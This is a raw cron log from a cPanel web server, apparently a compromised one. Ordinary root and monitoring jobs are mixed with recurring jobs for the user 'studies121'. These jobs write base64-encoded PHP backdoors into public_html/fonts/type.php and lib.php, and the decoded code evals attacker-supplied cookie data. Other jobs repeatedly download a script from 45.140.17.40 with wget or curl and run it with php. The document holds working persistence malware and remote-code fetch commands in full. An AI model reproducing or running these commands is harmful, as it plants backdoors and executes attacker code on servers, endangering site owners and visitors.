Sep  7 04:46:01 ip-184-168-122-23 CROND[17306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:46:01 ip-184-168-122-23 CROND[17307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:46:01 ip-184-168-122-23 CROND[17308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:46:01 ip-184-168-122-23 CROND[17305]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 04:47:01 ip-184-168-122-23 CROND[17481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:47:01 ip-184-168-122-23 CROND[17483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:47:01 ip-184-168-122-23 CROND[17485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:47:01 ip-184-168-122-23 CROND[17484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:48:01 ip-184-168-122-23 CROND[17744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:48:01 ip-184-168-122-23 CROND[17747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:48:01 ip-184-168-122-23 CROND[17749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:48:01 ip-184-168-122-23 CROND[17753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:48:01 ip-184-168-122-23 CROND[17754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:49:01 ip-184-168-122-23 CROND[17903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:49:02 ip-184-168-122-23 CROND[17907]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 04:49:02 ip-184-168-122-23 CROND[17910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:49:02 ip-184-168-122-23 CROND[17909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:49:02 ip-184-168-122-23 CROND[17908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:50:01 ip-184-168-122-23 CROND[18156]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 04:50:01 ip-184-168-122-23 CROND[18157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:50:01 ip-184-168-122-23 CROND[18159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:50:01 ip-184-168-122-23 CROND[18161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:50:01 ip-184-168-122-23 CROND[18163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:50:01 ip-184-168-122-23 CROND[18164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:50:01 ip-184-168-122-23 CROND[18166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:50:01 ip-184-168-122-23 CROND[18165]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:50:01 ip-184-168-122-23 CROND[18167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:51:01 ip-184-168-122-23 CROND[18332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:51:01 ip-184-168-122-23 CROND[18334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:51:01 ip-184-168-122-23 CROND[18336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:51:01 ip-184-168-122-23 CROND[18335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:52:01 ip-184-168-122-23 CROND[18466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:52:01 ip-184-168-122-23 CROND[18466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:52:01 ip-184-168-122-23 CROND[18466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:52:01 ip-184-168-122-23 CROND[18468]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:52:01 ip-184-168-122-23 CROND[18469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:52:01 ip-184-168-122-23 CROND[18471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:52:01 ip-184-168-122-23 CROND[18474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:53:01 ip-184-168-122-23 CROND[18586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:53:01 ip-184-168-122-23 CROND[18590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:53:01 ip-184-168-122-23 CROND[18589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:53:01 ip-184-168-122-23 CROND[18588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:54:01 ip-184-168-122-23 CROND[18717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:54:01 ip-184-168-122-23 CROND[18719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:54:01 ip-184-168-122-23 CROND[18721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:54:01 ip-184-168-122-23 CROND[18723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:54:01 ip-184-168-122-23 CROND[18722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:55:01 ip-184-168-122-23 CROND[18848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:55:01 ip-184-168-122-23 CROND[18849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:55:01 ip-184-168-122-23 CROND[18852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:55:01 ip-184-168-122-23 CROND[18853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:55:01 ip-184-168-122-23 CROND[18854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:55:01 ip-184-168-122-23 CROND[18851]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:56:01 ip-184-168-122-23 CROND[19068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:56:01 ip-184-168-122-23 CROND[19072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:56:01 ip-184-168-122-23 CROND[19070]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:56:01 ip-184-168-122-23 CROND[19071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:56:01 ip-184-168-122-23 CROND[19073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:57:01 ip-184-168-122-23 CROND[19175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:57:01 ip-184-168-122-23 CROND[19176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:57:01 ip-184-168-122-23 CROND[19177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:57:01 ip-184-168-122-23 CROND[19178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:57:01 ip-184-168-122-23 CROND[19179]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep  7 04:58:01 ip-184-168-122-23 CROND[26821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:58:01 ip-184-168-122-23 CROND[26823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
